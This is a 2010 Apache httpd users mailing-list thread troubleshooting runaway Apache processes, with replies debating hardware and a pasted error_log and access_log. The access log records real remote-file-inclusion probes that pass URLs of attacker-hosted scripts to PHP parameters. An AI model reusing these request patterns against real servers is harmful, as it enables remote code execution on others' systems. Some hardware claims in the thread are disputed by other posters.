Posted by Eric Covener <co...@gmail.com>.
On Thu, Jan 28, 2010 at 11:30 AM, Daniel Reinhardt
<cr...@cryptodan.net> wrote:

>
> Obviously not in this case as this person wouldn't ne here complaining about
> apache and its processes.  The issue here is the CPU is too weak even if it
> is a 2.4Ghz processor.  The E2220 isn't suitable for a server processor.
>  Its strictly for home computing.  I help remote administrate a server that
> supports 10 Domains and 5 E-Mail Servers that receive a whole lot more
> traffic on a P3 933Mhz and these issues are not occurring there, and the
> settings for Apache are default.

Having lots of processes hanging around doesn't imply high CPU usage
or insufficient horsepower.

-- 
Eric Covener
covener@gmail.com

---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Re: Runaway Apache Process

Posted by Daniel Reinhardt <cr...@cryptodan.net>.
--------------------------------------------------
From: "Nicholas Sherlock" <n....@gmail.com>
Sent: 28 January, 2010 9:51
To: <us...@httpd.apache.org>
Subject: [users@httpd] Re: Runaway Apache Process

> On 28/01/2010 8:30 p.m., Daniel Reinhardt wrote:
>> From: "Dan Bunyard" <da...@gmail.com>
>>> @Daniel Reinhardt
>>> Here are the full specs:
>>> CPU: Pentium Dual Core E2220 @ 2.40GHz
>>> RAM: 5GB DDR2 PC2-6400 @ 800MHz
>>> Hard Drive: Western Digital SATA II 500GB
>>> I'm running Fedora 12 (Constantine) on it currently and Apache version
>>> 2.2.14 with PHP version 5.3.1 and MySQL version 5.1.42.
>>
>> Dan,
>>
>> For one thing I would get a beefier CPU. Your CPU isn't fit to be a
>> serving machine it is rather slow. You need to be running a workstation
>> grade CPU Like a Intel Q6600 or a E6400.
>
> For 11K hits a month? That's one hit every four minutes. From the log snippet 
> posted, it seems to be a simple mixture of blogs and forums. Hardly 
> supercomputer stuff. A slow single-core would serve it just fine.
>
> Cheers,
> Nicholas Sherlock
>
>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>   "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org
>

Nich,

Obviously not in this case as this person wouldn't ne here complaining about 
apache and its processes.  The issue here is the CPU is too weak even if it is a 
2.4Ghz processor.  The E2220 isn't suitable for a server processor.  Its 
strictly for home computing.  I help remote administrate a server that supports 
10 Domains and 5 E-Mail Servers that receive a whole lot more traffic on a P3 
933Mhz and these issues are not occurring there, and the settings for Apache are 
default.

Thanks,
Dan 


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


[users@httpd] Re: Runaway Apache Process

Posted by Nicholas Sherlock <n....@gmail.com>.
On 28/01/2010 8:30 p.m., Daniel Reinhardt wrote:
> From: "Dan Bunyard" <da...@gmail.com>
>> @Daniel Reinhardt
>> Here are the full specs:
>> CPU: Pentium Dual Core E2220 @ 2.40GHz
>> RAM: 5GB DDR2 PC2-6400 @ 800MHz
>> Hard Drive: Western Digital SATA II 500GB
>> I'm running Fedora 12 (Constantine) on it currently and Apache version
>> 2.2.14 with PHP version 5.3.1 and MySQL version 5.1.42.
>
> Dan,
>
> For one thing I would get a beefier CPU. Your CPU isn't fit to be a
> serving machine it is rather slow. You need to be running a workstation
> grade CPU Like a Intel Q6600 or a E6400.

For 11K hits a month? That's one hit every four minutes. From the log 
snippet posted, it seems to be a simple mixture of blogs and forums. 
Hardly supercomputer stuff. A slow single-core would serve it just fine.

Cheers,
Nicholas Sherlock


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Runaway Apache Process

Posted by Justin Pasher <ju...@newmediagateway.com>.
Daniel Reinhardt wrote:
> Dan,
>
> For one thing I would get a beefier CPU.  Your CPU isn't fit to be a 
> serving machine it is rather slow.  You need to be running a 
> workstation grade CPU Like a Intel Q6600 or a E6400.
>
> You need to get 6Gigs of RAM for Dual Channel Mode, and verify that 
> your linux kernel can address the full system memory.  A 32bit OS can 
> only address 2 to 3.25Gigs of RAM, and a 64bit OS can handle more then 
> 4Gigs.

Eh? A 32-bit Linux OS can easily handle more than 4GB of RAM using PAE. 
Individual processes will be restricted to 2GB of RAM usage, but since 
Apache spawns multiple child processes, each one can do that.

Additionally, it's very unlikely the RAM is being taxed. I have a server 
with only 2GB of RAM and it runs over 100 web sites (I'd imagine close 
to 100 million hits a month) and it has no problems. The RAM usage is 
primarily a factor if your code itself is sucking it all up (i.e. 
loading tons of data into memory from a database, a script processing a 
lot of data in memory, etc).


-- 
Justin Pasher

---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Runaway Apache Process

Posted by Daniel Reinhardt <cr...@cryptodan.net>.
--------------------------------------------------
From: "Dan Bunyard" <da...@gmail.com>
Sent: 27 January, 2010 12:22
To: <us...@httpd.apache.org>
Subject: Re: [users@httpd] Runaway Apache Process

> I'm going to try to answer all the questions in one email here.
>
> @Daniel Reinhardt
> Here are the full specs:
> CPU: Pentium Dual Core E2220 @ 2.40GHz
> RAM: 5GB DDR2 PC2-6400 @ 800MHz
> Hard Drive: Western Digital SATA II 500GB
> I'm running Fedora 12 (Constantine) on it currently and Apache version
> 2.2.14 with PHP version 5.3.1 and MySQL version 5.1.42.

>
> ---------------------------------------------------------------------
> The official User-To-User support forum of the Apache HTTP Server Project.
> See <URL:http://httpd.apache.org/userslist.html> for more info.
> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>   "   from the digest: users-digest-unsubscribe@httpd.apache.org
> For additional commands, e-mail: users-help@httpd.apache.org

Dan,

For one thing I would get a beefier CPU.  Your CPU isn't fit to be a serving 
machine it is rather slow.  You need to be running a workstation grade CPU Like 
a Intel Q6600 or a E6400.

You need to get 6Gigs of RAM for Dual Channel Mode, and verify that your linux 
kernel can address the full system memory.  A 32bit OS can only address 2 to 
3.25Gigs of RAM, and a 64bit OS can handle more then 4Gigs.

Also, 86.109.170.73, that IP should be blocked from making requests via a 
.htaccess.

Thanks,
Daniel 


---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
   "   from the digest: users-digest-unsubscribe@httpd.apache.org
For additional commands, e-mail: users-help@httpd.apache.org


Re: [users@httpd] Runaway Apache Process

Posted by Dan Bunyard <da...@gmail.com>.
Oh, and as for hits, I had a bit of a brain fart last night.  I have around
400 unique VISITORS and some 11k total hits a month according to my Awstats.
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.


On Wed, Jan 27, 2010 at 07:22, Dan Bunyard <da...@gmail.com> wrote:

> I'm going to try to answer all the questions in one email here.
>
> @Daniel Reinhardt
> Here are the full specs:
> CPU: Pentium Dual Core E2220 @ 2.40GHz
> RAM: 5GB DDR2 PC2-6400 @ 800MHz
> Hard Drive: Western Digital SATA II 500GB
> I'm running Fedora 12 (Constantine) on it currently and Apache version
> 2.2.14 with PHP version 5.3.1 and MySQL version 5.1.42.
>
> @Nicholas Sherlock
> I will check that when it happens again.  I can't imagine that it's MySQL
> though, when I ran a "top" everything in the list (that I could see) was
> httpd, there was no sign of MySQL in there.  I will be sure to check that
> though next time.
>
> @Reese
> Nothing special that I can see.  I have included the error_log and
> access_log for the hour or so leading up to when I restarted the service
> (they are below my signature).  I also zipped and attached the full logs I
> grabbed shortly after I restarted the service.
>
> I can't imagine that my 512Kb up DSL would even provide enough bandwidth to
> be able to crash Apache.  It's almost like it's being fork bombed.  Thanks
> for you help!!
>
> --
> Dan
>
> http://www.moonlightrpg.com
> http://www.linkedin.com/in/danbunyard
> http://www.danodemano.com
> http://www.dansrandomness.com
> http://www.danandshelley.com
>
> This is not a problem that requires infinite wisdom, Benj. This is a
> problem that requires enough neural organization to qualify as a vertebrate,
> apparently a stretch for some folks these days.
> ~Cecil Adams.
>
> error_log:
> [Mon Jan 25 11:05:23 2010] [error] [client 210.205.6.130] script
> '/var/www/html/lotgd/delete_all.php' not found or unable to stat
> [Mon Jan 25 11:05:24 2010] [error] [client 210.205.6.130] script
> '/var/www/html/lotgd/delete_all.php' not found or unable to stat
> [Mon Jan 25 11:05:25 2010] [error] [client 210.205.6.130] script
> '/var/www/html/lotgd/delete_all.php' not found or unable to stat
> [Mon Jan 25 11:11:47 2010] [error] [client 210.205.6.130] script
> '/var/www/html/lotgd/write_update.php' not found or unable to stat
> [Mon Jan 25 11:11:47 2010] [error] [client 210.205.6.130] script
> '/var/www/html/lotgd/write_update.php' not found or unable to stat
> [Mon Jan 25 11:11:51 2010] [error] [client 210.205.6.130] script
> '/var/www/html/lotgd/write_update.php' not found or unable to stat
> [Mon Jan 25 11:15:08 2010] [error] [client 189.108.236.148] File does not
> exist: /var/www/html/lotgd/about.php%3Fc%3D1-183459
> [Mon Jan 25 11:15:08 2010] [error] [client 189.108.236.148] File does not
> exist: /var/www/html/lotgd/about.php%3Fc%3D1-175740
> [Mon Jan 25 11:24:06 2010] [error] [client 195.137.64.88] File does not
> exist: /var/www/html/lotgd/
> [Mon Jan 25 11:24:06 2010] [error] [client 195.137.64.88] script
> '/var/www/html/lotgd/delete_all.php' not found or unable to stat
> [Mon Jan 25 11:24:23 2010] [error] [client 195.137.64.88] File does not
> exist: /var/www/html/lotgd/motd.php
> [Mon Jan 25 11:25:02 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/formmail_send.php' not found or unable to stat
> [Mon Jan 25 11:25:02 2010] [error] [client 210.205.6.130] script
> '/var/www/html/lotgd/write_update.php' not found or unable to stat
> [Mon Jan 25 11:25:10 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/formmail_send.php' not found or unable to stat
> [Mon Jan 25 11:25:25 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/formmail_send.php' not found or unable to stat
> [Mon Jan 25 11:25:27 2010] [error] [client 86.109.170.73] File does not
> exist: /var/www/html/lotgd/about.php%3Fc%3D1-175740
> [Mon Jan 25 11:25:27 2010] [error] [client 86.109.170.73] File does not
> exist: /var/www/html/lotgd/about.php%3Fc%3D1-183459
> [Mon Jan 25 11:25:27 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/formmail_send.php' not found or unable to stat
> [Mon Jan 25 11:25:35 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/formmail_send.php' not found or unable to stat
> [Mon Jan 25 11:25:46 2010] [error] [client 86.109.170.73] File does not
> exist: /var/www/html/lotgd/about.php%3Fc%3D1-183459
> [Mon Jan 25 11:25:46 2010] [error] [client 86.109.170.73] File does not
> exist: /var/www/html/lotgd/about.php%3Fc%3D1-175740
> [Mon Jan 25 11:25:46 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/formmail_send.php' not found or unable to stat
> [Mon Jan 25 11:26:51 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/formmail_send.php' not found or unable to stat
> [Mon Jan 25 11:29:31 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/formmail_send.php' not found or unable to stat
> [Mon Jan 25 11:31:41 2010] [error] [client 210.205.6.233] script
> '/var/www/html/lotgd/write_comment_update.php' not found or unable to stat
> [Mon Jan 25 11:32:19 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/_tail.php' not found or unable to stat
> [Mon Jan 25 11:32:28 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/_tail.php' not found or unable to stat
> [Mon Jan 25 11:32:47 2010] [error] [client 195.137.64.88] script
> '/var/www/html/lotgd/write_comment_update.php' not found or unable to stat
> [Mon Jan 25 11:32:52 2010] [error] [client 86.109.170.73] File does not
> exist: /var/www/html/lotgd/about.php%3Fc%3D1-183459
> [Mon Jan 25 11:32:52 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/_tail.php' not found or unable to stat
> [Mon Jan 25 11:32:53 2010] [error] [client 86.109.170.73] File does not
> exist: /var/www/html/lotgd/about.php%3Fc%3D1-175740
> [Mon Jan 25 11:33:33 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/_tail.php' not found or unable to stat
> [Mon Jan 25 11:33:42 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/_tail.php' not found or unable to stat
> [Mon Jan 25 11:35:50 2010] [error] [client 195.137.64.88] File does not
> exist: /var/www/html/lotgd/
> [Mon Jan 25 11:35:50 2010] [error] [client 195.137.64.88] script
> '/var/www/html/lotgd/write_comment_update.php' not found or unable to stat
> [Mon Jan 25 11:36:08 2010] [error] [client 86.109.170.73] script
> '/var/www/html/lotgd/_tail.php' not found or unable to stat
> [Mon Jan 25 11:37:37 2010] [error] [client 66.249.65.242] script
> '/var/www/html/photoalbum/p/feverishcomedian.php' not found or unable to
> stat
> [Mon Jan 25 11:43:19 2010] [error] server reached MaxClients setting,
> consider raising the MaxClients setting
>
> access_log:
> 66.249.65.47 - - [25/Jan/2010:11:00:34 -0500] "GET /d/20920-2/img_7897.jpg
> HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:00:35 -0500] "GET /d/20920-2/img_7897.jpg
> HTTP/1.1" 200 3619 "-" "Googlebot-Image/1.0"
> 203.198.126.43 - - [25/Jan/2010:11:01:48 -0500] "GET /guestbook.php
> HTTP/1.0" 200 19758 "http://www.danodemano.com/guestbook.php" "Mozilla/4.0
> (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.01"
> 203.198.126.43 - - [25/Jan/2010:11:01:52 -0500] "POST / HTTP/1.0" 200 20549
> "http://www.danodemano.com/guestbook.php" "Mozilla/4.0 (compatible; MSIE
> 6.0; Windows NT 5.1; ru) Opera 8.01"
> 66.249.65.51 - - [25/Jan/2010:11:01:54 -0500] "GET /d/21173-2/img_7960.jpg
> HTTP/1.1" 200 3037 "-" "Googlebot-Image/1.0"
> 66.249.65.47 - - [25/Jan/2010:11:01:54 -0500] "GET /d/37315-2/img_0907.jpg
> HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:01:55 -0500] "GET /d/37315-2/img_0907.jpg
> HTTP/1.1" 200 6273 "-" "Googlebot-Image/1.0"
> 66.249.65.47 - - [25/Jan/2010:11:03:13 -0500] "GET /d/13563-1/img_0914.jpg
> HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:03:14 -0500] "GET /d/13563-1/img_0914.jpg
> HTTP/1.1" 200 176360 "-" "Googlebot-Image/1.0"
> 60.242.147.232 - - [25/Jan/2010:11:03:21 -0500] "GET
> /index.php/2009/05/27/fuck-you-microsoft?blog=1 HTTP/1.1" 301 - "-"
> "Internet Explorer 8.0 (Windows XP)"
> 70.166.97.125 - - [25/Jan/2010:11:03:31 -0500] "GET
> /index.php/2008/08/07/the-hd-radio-hype?blog=1 HTTP/1.1" 301 - "-"
> "Mozilla/4.0 (compatible; MSIE 5.01; Windows XP)"
> 66.249.65.16 - - [25/Jan/2010:11:03:35 -0500] "GET /list.php?c=1-003459
> HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.47 - - [25/Jan/2010:11:04:33 -0500] "GET /d/272-4/img_7555.jpg
> HTTP/1.1" 301 344 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:04:34 -0500] "GET /d/272-4/img_7555.jpg
> HTTP/1.1" 200 57283 "-" "Googlebot-Image/1.0"
> 12.237.231.235 - - [25/Jan/2010:11:05:08 -0500] "POST
> /htsrv/trackback.php?tb_id=28 HTTP/1.1" 500 859 "-" "curl/7.19.6
> (i386-pc-win32) libcurl/7.19.6 OpenSSL/0.9.8k zlib/1.2.3"
> 210.205.6.130 - - [25/Jan/2010:11:05:22 -0500] "GET
> /about.php?c=1-183459/delete_all.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25581 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:05:22 -0500] "GET
> /about.php?c=1-183140/delete_all.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25577 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:05:23 -0500] "GET
> /delete_all.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 298
> "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:05:24 -0500] "GET
> /delete_all.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 298
> "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:05:24 -0500] "GET
> /about.php?c=1-183459/delete_all.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25576 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:05:24 -0500] "GET
> /about.php?c=1-183140/delete_all.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25576 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:05:25 -0500] "GET
> /delete_all.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 298
> "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:05:25 -0500] "GET
> /about.php?c=1-183140/delete_all.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25576 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:05:25 -0500] "GET
> /about.php?c=1-183459/delete_all.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25573 "-" "Mozilla/5.0"
> 66.249.65.16 - - [25/Jan/2010:11:05:44 -0500] "GET /index.php?c=1-091948
> HTTP/1.1" 302 - "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.16 - - [25/Jan/2010:11:05:45 -0500] "GET /home.php?c=1-091948
> HTTP/1.1" 200 28132 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.47 - - [25/Jan/2010:11:05:52 -0500] "GET /d/34776-2/img_0440.jpg
> HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:05:53 -0500] "GET /d/34776-2/img_0440.jpg
> HTTP/1.1" 200 6957 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:06:38 -0500] "GET
> /main.php?g2_view=rating.RatingCallback&g2_command=rate&g2_itemId=29585&g2_rating=2&g2_authToken=__AUTHTOKEN__
> HTTP/1.1" 200 120 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.47 - - [25/Jan/2010:11:07:11 -0500] "GET /d/13320-1/img_1002.jpg
> HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:07:12 -0500] "GET /d/13320-1/img_1002.jpg
> HTTP/1.1" 200 156931 "-" "Googlebot-Image/1.0"
> 74.177.26.225 - - [25/Jan/2010:11:07:42 -0500] "GET
> /index.php/2009/01/11/goodbye-itunes-forever?blog=1 HTTP/1.1" 301 - "-"
> "Mozilla/4.0 (compatible; MSIE 5.01; Windows XP)"
> 66.249.65.16 - - [25/Jan/2010:11:08:13 -0500] "GET /list.php?c=1-004720
> HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 67.195.115.220 - - [25/Jan/2010:11:08:20 -0500] "GET /news.php?c=1-175134
> HTTP/1.0" 200 22583 "-" "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
> http://help.yahoo.com/help/us/ysearch/slurp)"
> 67.195.115.220 - - [25/Jan/2010:11:08:22 -0500] "GET
> /templates/moonlight.css HTTP/1.0" 304 - "
> http://www.moonlightrpg.com/news.php?c=1-175134" "Mozilla/5.0 (compatible;
> Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)"
> 99.8.227.38 - - [25/Jan/2010:11:09:23 -0500] "GET
> /index.php/2008/06/01/share-the-love?blog=1 HTTP/1.1" 301 - "-" "Mozilla/4.0
> (compatible; MSIE 5.01; Windows XP)"
> 66.249.65.51 - - [25/Jan/2010:11:09:50 -0500] "GET /d/24893-2/img_8856.jpg
> HTTP/1.1" 200 4070 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:09:51 -0500] "GET /d/44164-2/img_1377.jpg
> HTTP/1.1" 304 - "-" "Googlebot-Image/1.0"
> 74.208.14.245 - - [25/Jan/2010:11:09:58 -0500] "GET
> /index.php/2009/05/27/fuck-you-microsoft?blog=1 HTTP/1.1" 301 - "-"
> "Mozilla/4.0 (compatible; MSIE 5.01; Windows XP)"
> 66.249.65.16 - - [25/Jan/2010:11:10:36 -0500] "GET /news.php?c=1-003459
> HTTP/1.1" 200 22587 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.47 - - [25/Jan/2010:11:11:10 -0500] "GET /d/31867-1/100_1662.jpg
> HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:11:10 -0500] "GET /d/31867-1/100_1662.jpg
> HTTP/1.1" 200 110529 "-" "Googlebot-Image/1.0"
> 210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
> //write_update.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 300
> "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
> /about.php?c=1-183140//write_update.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25593 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
> //write_update.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 300
> "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
> /about.php?c=1-183459//write_update.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25590 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
> /about.php?c=1-183140//write_update.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25588 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:11:47 -0500] "GET
> /about.php?c=1-183459//write_update.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25588 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:11:51 -0500] "GET
> /about.php?c=1-183140//write_update.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25588 "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:11:51 -0500] "GET
> //write_update.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 300
> "-" "Mozilla/5.0"
> 210.205.6.130 - - [25/Jan/2010:11:11:51 -0500] "GET
> /about.php?c=1-183459//write_update.php?board_skin_path=
> http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200
> 25585 "-" "Mozilla/5.0"
> 66.249.65.47 - - [25/Jan/2010:11:12:29 -0500] "GET /d/16117-1/img_0079.jpg
> HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:12:30 -0500] "GET /d/16117-1/img_0079.jpg
> HTTP/1.1" 200 168250 "-" "Googlebot-Image/1.0"
> 208.80.193.30 - - [25/Jan/2010:11:12:47 -0500] "GET / HTTP/1.0" 302 - "-"
> "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322;
> ZangoToolbar 4.8.2; yplus 5.6.04b)"
> 66.249.65.16 - - [25/Jan/2010:11:13:09 -0500] "GET /home.php?c=1-003451
> HTTP/1.1" 200 28136 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.51 - - [25/Jan/2010:11:13:27 -0500] "GET
> /v/vacations/Vacation+2005+_Myrtle+Beach_/img_0584.jpg.html HTTP/1.1" 200
> 30523 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.51 - - [25/Jan/2010:11:13:52 -0500] "GET /d/39051-2/img_0149.jpg
> HTTP/1.1" 304 - "-" "Googlebot-Image/1.0"
> 220.181.125.67 - - [25/Jan/2010:11:14:37 -0500] "GET / HTTP/1.1" 302 - "-"
> "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
> 220.181.125.67 - - [25/Jan/2010:11:14:48 -0500] "GET /home.php? HTTP/1.1"
> 200 28105 "-" "Sogou web spider/4.0(+
> http://www.sogou.com/docs/help/webmasters.htm#07)"
> 189.108.236.148 - - [25/Jan/2010:11:15:08 -0500] "GET
> /about.php%253Fc%253D1-183459//?_SERVER[DOCUMENT_ROOT]=
> http://200.199.242.22/images/.ajim/ajim1.txt?? HTTP/1.1" 404 310 "-"
> "Mozilla/5.0"
> 189.108.236.148 - - [25/Jan/2010:11:15:08 -0500] "GET
> /about.php%253Fc%253D1-175740//?_SERVER[DOCUMENT_ROOT]=
> http://200.199.242.22/images/.ajim/ajim1.txt?? HTTP/1.1" 404 310 "-"
> "Mozilla/5.0"
> 66.249.65.23 - - [25/Jan/2010:11:15:08 -0500] "GET
> /wp-content/uploads/2009/11/IMG_0531-300x225.jpg HTTP/1.1" 304 - "-"
> "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:15:33 -0500] "GET /d/2500-1/img_1638.jpg
> HTTP/1.1" 200 112870 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:15:36 -0500] "GET /d/40585-2/img_0538.jpg
> HTTP/1.1" 200 2871 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:15:38 -0500] "GET /d/26550-2/img_9264.jpg
> HTTP/1.1" 200 4781 "-" "Googlebot-Image/1.0"
> 117.198.104.117 - - [25/Jan/2010:11:15:47 -0500] "GET
> /index.php/2009/05/27/fuck-you-microsoft?blog=1 HTTP/1.1" 301 - "-"
> "Mozilla/4.0 (compatible; MSIE 5.01; Windows XP)"
> 66.249.65.60 - - [25/Jan/2010:11:15:56 -0500] "GET
> /2008/12/09/our-6th-and-longest-date/feed/ HTTP/1.1" 200 783 "-"
> "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
> 66.249.65.16 - - [25/Jan/2010:11:15:57 -0500] "GET /home.php?c=1-003452
> HTTP/1.1" 200 28136 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
> 66.249.65.47 - - [25/Jan/2010:11:16:28 -0500] "GET /d/29738-2/img_9942.jpg
> HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:16:29 -0500] "GET /d/29738-2/img_9942.jpg
> HTTP/1.1" 200 4343 "-" "Googlebot-Image/1.0"
> 66.249.65.47 - - [25/Jan/2010:11:17:47 -0500] "GET /d/27685-2/img_9534.jpg
> HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
> 66.249.65.51 - - [25/Jan/2010:11:17:48 -0500] "GET /d/27685-2/img_9534.jpg
> HTTP/1.1" 200 3453 "-" "Googlebot-Image/1.0"
> 66.249.65.47 - - [25/Jan/2010:11:18:12 -0500] "GET /srss/25166 HTTP/1.1"
> 301 334 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
> http://www.google.com/bot.html)"
